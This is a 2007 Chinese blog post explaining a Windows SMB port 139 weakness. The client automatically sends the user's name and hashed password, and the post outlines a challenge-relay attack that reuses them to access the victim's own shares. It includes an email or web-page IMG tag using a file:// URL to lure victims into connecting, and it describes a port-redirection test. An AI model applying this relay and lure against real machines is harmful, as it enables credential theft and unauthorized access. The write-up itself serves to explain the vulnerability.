又一篇 TCP/IP的漏洞 WINDOWS密码泄密

原创 2007年09月26日 21:33:00
 Windows访问139端口时自动用当前用户、密码连接,造成泄露用户密码,虽然其密码是加密的,但一样可以用来攻击

  下面是SMB的密码认证方式。

  WINDOWS的139口的访问过程,箭头表示数据方向:

  1.客户端<--------------------建立TCP连接----------------->服务端

  2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

  3.客户端<---------服务器认证方式、加密用的key等-----------服务端

  认证方式就是用户级认证还是共享级认证和密码加密不,key是服务器随机生成的8个字节,WIN2000已经支持16个字节的 key。

  4.客户端--------------用户名、加密后密码----------------->服务端

  WIN9X、WINNT、WIN2000这有个漏洞,不经过提示等就把当前用户名,密码加密后发过去了,导致密码泄漏。这儿加密是DES的变形,lockedpass=chgdes(key,pass)。这儿的pass是作为DES变形的KEY,key是作为DES变形的待加密数据。

  5.客户端<---------------认证成功否-----------------------服务端

  WINDOWS客户端第4步有漏洞,显然服务端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因为这是服务方提供的,usname、pass是客户端当前访问者用户名和密码。这儿的加密变换不可逆,但已经可以用暴力法破解了,也已经有了这样的程序。其实我们有时并不一定要得到密码明文的,只要能提供连接需要的就可以了。我们来看得到lockedpass有什么用,我们反过去访问看看,telnet、ftp等连接要密码明文我们得到的lockedpass不能提供,那么我们考虑用同样加密算法传密码密文的服务呢?比如就是NETBIOS共享服务。前面是服务端得到东西,那现在就是站在客户端了,再看前面那过程,显然其实我们并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是现在的服务端提供的。看看我们有 usname和lockedpass=chgdes(key,pass)其中key我们可以自己指定,大家一看显然只要key=key2那么就需要的我们都有了是不是?所以我们要使得key=key2.

  好我们再仔细看看连接过程,别人连接两步1、2:

  1.客户端<--------------------建立TCP连接----------------->服务端

  2.客户端-------客户端类型、支持的服务方式列表等---------->服务端

  下面就该

  3.客户端<---------服务器认证方式、加密用的key等-----------服务端

  这我们需要提供key,这儿我们不能随便提供key,需要提供key2,那么我们就要得到key2,显然需要连接NETBIOS服务回去。显然这而需要连接回去的11,22,33共3步(为了区分连接回去的步子用重号表示)才能得到key2,显然这2步和3步不需要有先后顺序。所以我们可以得到连接指定IP的NETBIOS服务然后等这用户来访问,这可能有时间超时等处理,或者等到任意IP连接NETBIOS服务后马上连回去,反正怎么处理方便、满足需要就怎么处理。

  下面显然就是设置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由处理了,要不返回密码错误,后面就是44、55……

  总的来就是1,2,11,22,33,3,4,5,44,55……显然你就是以那机器访问你的用户的身份去访问他的NETBIOS服务了,能干什么那就看那用户的权限了。

  注意有兴趣的可以把SAMB包的客户端程序修改加上一点服务的前几步就可以了。显然这主要利用的还是WINDOWS泄露当前用户名、加密密码漏洞。还有这需要别人来访问你的机器,这好办,邮件或者主页等里面来个

  IMGsrc”="file://ip/filename" ...

  就可以了。我实验了去掉机器139口服务(要不有139口要影响后面端口重定向),用端口重定向程序把来向139口定向回去,找另一个WINNT机器用

  file://ip/访问那重定向139口的机器,结果是没有密码提示就看到WINNT机器本身了。其实这时重定向端口程序那台机器已经用WINNT机器的当前用户访问WINNT了,只是由于没有客户端的处理界面不能操作。

 

NetBIOS 漏洞的入侵与防御

1. 漏洞描述NetBIOS 即Network Basic Input Output System(网络基本输入输出系统),是一种应用程序接口(API),系统可以利用W I N S 服务、广播及L m...
  • wxl2012
  • wxl2012
  • 2010年01月18日 20:33
  • 1939

TCP/IP 在 Windows 下的实现

Windows 下是怎么实现 TCP/IP 协议族的,这篇文章以 UDP 的实现为例,对这个过程进行了简单的说明。...
  • Henzox
  • Henzox
  • 2014年08月29日 17:26
  • 4902

windows 下监测TCP/IP通信

/****************************************************************** * *  windows下监测Tcp/Ip通信  * *  Au...
  • sjf331
  • sjf331
  • 2005年08月08日 13:45
  • 1527

[C++] Windows下的socket编程(这是一个简单的TCP/IP例子)

Socket的概念: Socket,即套接字,用于描述地址和端口,是一个通信链的句柄。 应用程序通过Socket像网络发出请求或者回应。 什么事客户/服务器模式: 在TCP/IP网络应...
  • langal1212
  • langal1212
  • 2015年11月20日 11:42
  • 826

TCP三次握手和漏洞解决

tcp三次握手 一:TCP建立过程 1.服务器先创建TCB(传输控制块),准备接受客户端的连接请求,然后服务器处于listen状态 2.客户端创建TCB,准备发送请求连接...
  • fin0303
  • fin0303
  • 2016年04月11日 19:40
  • 1378

Windows系统漏洞提权

假设已经在目标服务器上面上传了webshell 查看目标服务器的相关信息: 用户: 网络、端口: 组件: 接着执行cmd命令: ...
  • fuckcat_2333
  • fuckcat_2333
  • 2016年08月09日 17:43
  • 1054

windows下使用netstat统计tcp、ip、端口的数量统计

windows下使用netstat统计tcp、ip、端口的数量统计
  • u011143236
  • u011143236
  • 2017年02月18日 10:37
  • 2789

[CODE] 通过tcpserver实现对同一IP的最大连接数和连接频率的限制

1. 同一IP最大连接数的限制 使用Balazs Nagy的 periplimit patch 实现同一IP的最大连接数的限制。相关地址: http://js.hu/package/ucspi-tcp...
  • myhan
  • myhan
  • 2004年08月17日 16:26
  • 3675

TCP/IP详解学习笔记(12)-TCP的超时与重传

超时重传是TCP协议保证数据可靠性的另一个重要机制,其原理是在发送某一个数据以后就开启一个计时器,在一定时间内如果没有得到发送的数据报的ACK报文,那么就重新发送数据,直到发送成功为止。1.超时超时时...
  • goodboy1881
  • goodboy1881
  • 2006年05月25日 19:00
  • 23316

在 Windows Vista 和 Windows Server 2008 中,TCP/IP 的默认动态端口范围已更改

在 Windows Vista 和 Windows Server 2008 中,TCP/IP 的默认动态端口范围已更改
  • chenlycly
  • chenlycly
  • 2016年09月06日 18:38
  • 587
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:又一篇 TCP/IP的漏洞 WINDOWS密码泄密
举报原因:
原因补充:

(最多只允许输入30个字)